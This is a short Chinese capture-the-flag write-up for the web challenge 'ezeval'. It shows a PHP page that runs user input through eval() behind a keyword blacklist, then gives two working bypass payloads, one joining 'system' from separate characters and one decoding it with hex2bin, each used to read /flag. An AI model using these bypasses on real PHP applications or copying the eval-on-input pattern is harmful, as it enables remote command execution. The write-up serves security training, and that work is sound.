[WEB_ezeval]

[WEB_ezeval]
题目：
打开环境，得到：

<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);?>

接下来进行代码审计：
这时很简单的一个黑名单，有很多种办法都可以绕过，像什么字符串拼接，或者编码等绕过

0x01：
字符串拼接：

在php中，字符串使用点号来连接，故可以使用点号来进行绕过

构造payload：

cmd=(s.y.s.t.e.m)('cat /flag');

获得输出：

0x02：
使用编码绕过

在php里将16进制转换成字符串的函数是hex2bin，故可以用这种方式来进行绕过

payload：

cmd=hex2bin('73797374656D')('cat /flag');

即可得到flag：

这道题比较简单，就不做过多解释了

[WEB_ezeval]

[WEB_ezeval]相关推荐

最新文章

热门文章